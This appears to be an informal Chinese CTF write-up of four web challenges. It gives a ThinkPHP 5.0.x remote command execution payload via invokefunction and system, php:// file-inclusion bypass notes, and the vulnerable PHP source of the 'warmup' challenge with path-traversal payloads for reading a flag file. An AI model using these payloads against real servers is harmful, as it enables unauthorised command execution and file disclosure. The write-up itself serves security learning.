php_rce
參考鏈接1
參考鏈接2
根據提示看應該是tp5的遠程命令/代碼執行漏洞
然後網上搜下payload。
emmm分析我是看不懂的。
(實際上我試了好多payload。。。還有post??有的可以執行有的不能,菜刀還連不上,我也很迷)
5.0.x版的poc
命令執行:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令 (如 dir whoami)
通過這行代碼先找flag再cat即可
注意它會顯示兩遍,所以不是/flag/flag
Web_php_include
打開就是源碼
啊,可以看到這個一直對php://進行過濾,那麼什麼是php://呢
據參考鏈接:PHP漏洞全解————10、PHP文件包含漏洞,是一個僞協議
除此外還有php://filter
通過指定末尾的文件,可以讀取經base64加密後的文件源碼,之後再base64解碼一下就行。
phar://
zip://
data:URI schema
等等
漏洞條件詳見參考鏈接
求flag方法如下:(簡單地大小寫繞過一下)
得到flag
ics-06
。。。不想寫了,誰能想到是暴破呢
warmup
熱身,行吧
參考鏈接
進去就是一張大滑稽,源代碼提示source.php
代碼如下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
打開hint.php提示flag在ffffllllaaaagggg中。
分析一下代碼
需要使用傳參
source.php?file=source.php?(payload)
或者
source.php?file=hint.php?(payload)
又或者利用urldecoder進行雙重解碼即
source.php?file=source.php%253f
source.php?file=hint.php%253f
啊我研究了半天怎麼能利用urldecoder繞過的問題,後來一搜writeup才知道不需要。。。直接用/…/即可
payload:
source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg
可以多套幾層…/
原因如下
待續。。